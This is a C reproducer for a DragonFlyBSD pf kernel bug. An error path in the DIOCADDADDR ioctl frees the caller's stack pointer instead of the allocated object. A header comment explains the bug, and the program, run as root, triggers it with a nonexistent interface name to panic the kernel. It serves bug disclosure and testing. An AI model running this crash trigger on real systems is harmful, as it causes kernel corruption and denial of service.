/*
 * DF-0276 - DIOCADDADDR error path frees the wrong pointer.
 *
 * pf_ioctl.c DIOCADDADDR (line ~2169):
 *   pa = kmalloc(sizeof(struct pf_altq), M_PFPOOLADDRPL, ...);
 *   bcopy(&pp->addr, pa, ...);
 *   if (pa->ifname[0]) {
 *       pa->kif = pfi_kif_get(pa->ifname);
 *       if (pa->kif == NULL) {
 *           kfree(ap, M_PFPOOLADDRPL);   // <-- BUG: frees framework-owned
 *           error = EINVAL;              //     dev_ioctl_args *ap, NOT pa
 *           break;
 *       }
 *
 * `ap` is the dev_ioctl_args pointer passed into pfioctl(struct dev_ioctl_args
 * *ap) at pf_ioctl.c:981 -- a pointer into the device framework's stack, NOT a
 * heap object.  kfree() on a non-heap (stack) pointer corrupts slab allocator
 * metadata and/or panics.  It also leaks the freshly-kmalloc'd `pa`.
 *
 * The correct sibling path at :2178 does `kfree(pa, M_PFPOOLADDRPL)`.
 *
 * Trigger: DIOCADDADDR with a valid ticket + a valid addr type but an ifname
 * that pfi_kif_get() cannot resolve (non-existent interface) -> kif == NULL
 * -> wrong-pointer kfree -> panic.
 *
 * /dev/pf is mode 0600 root:wheel, so this is a root->kernel corruption / DoS.
 *
 * Self-contained: no kernel headers required.  The ioctl numbers and struct
 * field offsets were measured against struct pfioc_pooladdr on this kernel
 * (sizeof=1136).  The ioctl dispatches on the cmd integer directly, and the
 * kernel reads the userspace buffer at the measured field offsets.
 *
 * Run as root:  kldload pf && ./diocaddaddr_wrong_kfree
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>

/* Measured on DragonFlyBSD master DEV (struct pfioc_pooladdr, sizeof=1136). */
#define PF_DIOCBEGINADDRS	0xc4704433u
#define PF_DIOCADDADDR		0xc4704434u
#define PF_ADDR_ADDRMASK	0
#define PP_SIZE			1136
#define OFF_TICKET		4
#define OFF_AF			18
#define OFF_ADDR_TYPE		1088	/* pp->addr.addr.type */
#define OFF_IFNAME		1112	/* pp->addr.ifname[16] */

int main(void)
{
	int fd, rc;
	static unsigned char pp[PP_SIZE];

	fd = open("/dev/pf", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open /dev/pf: %s (is pf.ko loaded?)\n",
		    strerror(errno));
		return 2;
	}

	/* Step 1: DIOCBEGINADDRS to obtain a valid ticket. */
	memset(pp, 0, sizeof(pp));
	rc = ioctl(fd, PF_DIOCBEGINADDRS, pp);
	if (rc < 0) {
		fprintf(stderr, "DIOCBEGINADDRS: %s\n", strerror(errno));
		return 3;
	}
	printf("[+] got ticket=%u\n", *(uint32_t *)(pp + OFF_TICKET));
	uint32_t ticket = *(uint32_t *)(pp + OFF_TICKET);

	/* Step 2: DIOCADDADDR with valid addr type + bogus ifname so that
	 * pfi_kif_get() returns NULL -> the buggy kfree(ap) error path.
	 * NB: must carry the ticket obtained above (else EBUSY at the
	 * ticket check). */
	memset(pp, 0, sizeof(pp));
	*(uint32_t *)(pp + OFF_TICKET) = ticket;
	*(uint8_t *)(pp + OFF_ADDR_TYPE) = PF_ADDR_ADDRMASK;	/* passes type chk */
	*(uint8_t *)(pp + OFF_AF) = AF_INET;
	strncpy((char *)(pp + OFF_IFNAME), "zznonexist0", 15);

	printf("[+] DIOCADDADDR bogus ifname -> expect kernel panic now\n");
	fflush(stdout);
	rc = ioctl(fd, PF_DIOCADDADDR, pp);
	/* If execution reaches here the kfree(ap) path did NOT corrupt/panic:
	 * bug absent or fixed.  A reproduced bug panics inside the ioctl. */
	printf("[+] DIOCADDADDR returned rc=%d errno=%d (%s) -- NO panic\n",
	    rc, errno, strerror(errno));
	close(fd);
	return 0;
}
